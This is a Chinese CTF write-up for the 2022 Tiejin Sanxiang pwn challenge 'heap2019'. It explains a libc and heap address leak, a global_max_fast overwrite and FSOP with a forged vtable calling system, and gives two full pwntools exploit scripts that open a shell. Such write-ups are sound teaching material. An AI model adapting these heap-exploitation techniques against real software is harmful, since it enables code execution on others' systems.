首页 > 其他分享 >2022铁人三项pwn wp

2022铁人三项pwn wp

时间:2023-01-12 14:57:21浏览次数:69  
标签:IO p64 libc base 2022 pwn new 铁人三项 addr

heap2019

一点也不会,太菜了,zikh师傅太强了直接带我入门io

保护

image-20230112140034648

比赛时一脸懵比,已经隐隐感觉与io有关,就知道跟我没关系了

漏洞利用

image-20230112141202594

输入的时候没有\x00截断且下面有一个puts,这个漏洞可以用来泄露地址,从unsortbin中泄露libs地址从larger bin中泄露堆地址,程序自带泄露的地址没啥鸟用,我又用不到程序程序基地址

image-20230112141636511

一个溢出来达到任意地址写一个0xdeadbeef有点像unsortbin attach 利用这个打一个fsop,有两种方法大概上一样,就是/bin/sh的写入方法不同

看一下绕过条件

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   || (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
			    > fp->_wide_data->_IO_write_base))
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

第一种方法构造一个结构体,因为我们是可以控制 vtable 的,虽然作为参数的 flags 字段位于堆块的 prev_size 上,当上一个chunk末尾为8,就会当作上一个chunk的数据区,最后用 /bin/sh\x00 填满堆块,从而控制了结构体中的 flags 字段。别忘记伪造字段来触发 _IO_OVERFLOW

第二种方法就是构造两个,在第一个结构体中,我们不希望执行 _IO_OVERFLOW 因此,要让前面的检查不通过。而前面的条件又由一个 || 连接,因此需要第一个条件和第二个条件全部不成立才可以。

这里伪造的字段为 fp->_mode == 0 fp->_IO_write_ptr== fp->_IO_write_base==0

这样前后两个条件全部无法成立,自然无法调用 _IO_OVERFLOW

在伪造字段绕过 if 的同时,不要忘记设置好 _chain 字段,让其指向第二个结构体。

在第二个结构体中,我们希望执行 _IO_OVERFLOW ,因此要将 fp->_mode == 0 fp->_IO_write_ptr ==1 fp->_IO_write_base == 0 ,这样即可触发 _IO_OVERFLOW 。在这之前只需要伪造好第二个结构体的 flags 字段和 vtable 中的 overflow 让其指向 system 的地址即可获取 shell

还有一个难点就是篡改 global_max_fast,最终效果向一个libc地址写一个堆地址

参考2022_祥云杯_pwn 部分wp | ZIKH26's Blog

exp

我使用了zikh师傅的工具tools-函数库 | ZIKH26's Blog

第一种

from tools import*
p,e,libc=load('a')
context.log_level='debug'

def new(size,context):
    p.sendlineafter("4.exit\n","1")
    p.sendlineafter("Content length:\n",str(size))
    p.sendafter("Content:\n",context)
def edit(Comment):
    p.sendlineafter("4.exit\n","2")
    p.sendafter("Comment:",Comment)
def delete(id):
    p.recvuntil("4.exit\n")
    p.sendline('3')
    p.sendlineafter("Content id:",str(id))
    
def exit():
    p.sendlineafter("4.exit\n","4")


new(0x100,'a')

new(0x500,'b')
new(0x100,'c')
delete(0)
new(0x100,'a'*0x8)
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')

delete(1)
new(0x600,'a')

new(0x150,b'b'*0x10+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')

fastbinY_addr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
vtable=libc_base+0x3c5618
chain=libc_base+0x3c55a8
system=libc_base+libc.symbols['system']
log_addr('system')
delete(1)
new(0x1008,'/bin/sh\x00'*int(0x1008/8))
index=(chain-fastbinY_addr-8)/8
size=index*0x10+0x20
log_info(hex(int(size)))

new(int(size),p64(0)*3+p64(1)+p64(0)*7+p64(0)+p64(0)*13+p64(heap_addr+0x1630+0x40+0xa0)+p64(system)*4)
edit(b'a'*0x20+p64(global_max_fast))

delete(4)
debug(p,'pie',0xDCD,0xDD9,0xDC1,0xBF5,0xDE5)
exit()
p.interactive()

第二种


from tools import*
p,e,libc=load('a')
context.log_level='debug'

def new(size,context):
    p.sendlineafter("4.exit\n","1")
    p.sendlineafter("Content length:\n",str(size))
    p.sendafter("Content:\n",context)
def edit(Comment):
    p.sendlineafter("4.exit\n","2")
    p.sendafter("Comment:",Comment)
def delete(id):
    p.recvuntil("4.exit\n")
    p.sendline('3')
    p.sendlineafter("Content id:",str(id))
    
def exit():
    p.sendlineafter("4.exit\n","4")


new(0x100,'a')

new(0x500,'b')
new(0x100,'c')
delete(0)
new(0x100,'a'*0x8)
libc_base=recv_libc()-0x3c4b78
log_addr('libc_base')

delete(1)
new(0x600,b'/bin/sh\x00'+p64(0)*4+p64(1)+p64(0)*21+p64(0xdeadbeef))

new(0x150,b'b'*0x10+b'a'*8)
p.recvuntil(b'a'*8)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_addr')

fastbinY_addr=libc_base+0x3c4b28
global_max_fast=libc_base+0x3c67f8
vtable=libc_base+0x3c5618
chain=libc_base+0x3c55a8
system=libc_base+libc.symbols['system']
log_addr('system')
delete(1)

new(0x1000,b'/bin/sh\x00'+p64(0)*4+p64(1)+p64(0)*21+p64(heap_addr+0x1630+0x40+0xa0))
index=(chain-fastbinY_addr-8)/8
size=index*0x10+0x20
log_info(hex(int(size)))
new(int(size),p64(0)*3+p64(0)+p64(0)*7+p64(heap_addr+0x630)+p64(0)*13+p64(heap_addr+0x1630+0x630)+p64(system)*4)
debug(p,'pie',0xDCD,0xDD9,0xDC1,0xBF5,0xDE5)
edit(b'a'*0x20+p64(global_max_fast))

delete(4)

exit()
p.interactive()

参考

2022-长城杯-铁人三项赛 pwn wp | ZIKH26's Blog

标签:IO,p64,libc,base,2022,pwn,new,铁人三项,addr
From: https://www.cnblogs.com/trunk/p/17046643.html

相关文章

  • 腾讯云-2022年4季度收费调整的产品汇总
    云服务器CVM 关于新加坡地域竞价实例弹性优惠公告竞价实例费用为原来的25%左右.覆盖大部分产品.https://cloud.tencent.com/document/product/213/82558云服务器系统......
  • 2022年深度学习在时间序列预测和分类中的研究进展综述
    时间序列预测的transformers的衰落和时间序列嵌入方法的兴起,还有异常检测、分类也取得了进步2022年整个领域在几个不同的方面取得了进展,本文将尝试介绍一些在过去一年左右......
  • 年中盘点 | 2022年,PaaS 再升级
    过去十五年,是云计算从无到有突飞猛进的十五年。PaaS作为云计算的重要组成部分,在伴随着云计算高速发展的同时,在云计算产业链中的关键性作用日渐凸显。关于PaaS,很多人都认......
  • 复旦大学2022--2023学年第一学期高等代数I期末考试情况分析
    一、期末考试成绩班级前十名的同学祁振宁(100)、张家溢(90)、李燊旭(90)、马琪旻(90)、秦保睿(90)、肖竣严(90)、盖括(90)、潘飞越(90)、孙珺阳(89)、洪昕(89)、林鑫(89)......
  • YACS 2022年12月月赛 乙组 T1 拼接单词 题解
    一道结论题,代码相当的短。我们先来考虑会拼出重复的情况:那必定是第一个字符串里有一个$a$(其他的也行),第二个也有一个$a$。那么我们就可以选择拿第一个字符串$a$前面的......
  • 面试题2022
    【岗位职责】1、负责项目前端部分正常迭代开发和维护2、优化产品质量、性能、用户体验3、参与新的前端开发技术进行研究和应用推广【岗位要求】1、熟悉W3C规范,熟悉HTM......
  • YACS 2022年12月月赛 乙组 T2 八进制小数 题解
    纪念一下,两件事。$1.$打$YACS$一年了,时间过得好快啊。$2.$第一次$AK$乙组。高精板子。$8$进制转十进制,很简单。小数部分第一位的数字乘上$8^{-1}$,第二位就乘上......
  • 2022SWJTU寒假选拔赛1题解
    目录A-马宝の皮颜矩阵I-小幻777J-小幻考考你A-马宝の皮颜矩阵Description给定矩阵\(a[N][M],1\leN·M\le1e5,1\lea[i][j]\le1e5\),求所有相同元素的曼哈顿......
  • 2022ccpc绵阳站 2022 China Collegiate Programming Contest (CCPC) Mianyang Onsite
    C.​​CatchYouCatchMe​​题目大意:给你n条路径构成一个无向树,结点编号为1~n。在这棵树中,结点1为出口,其他所有结点上都有一只蝴蝶。每一分钟,每只蝴蝶都会沿着一条树的......
  • 2022.1.9~2022.1.11 营业日志
    P4563[JXOI2018]守卫zxy讲过。如果直接从代数角度推推不出来,从几何角度会好一点。首先最后一个位置一定要放,放完之后有一些点可以被看到,假设为\(p_{1\simk}\),那么序......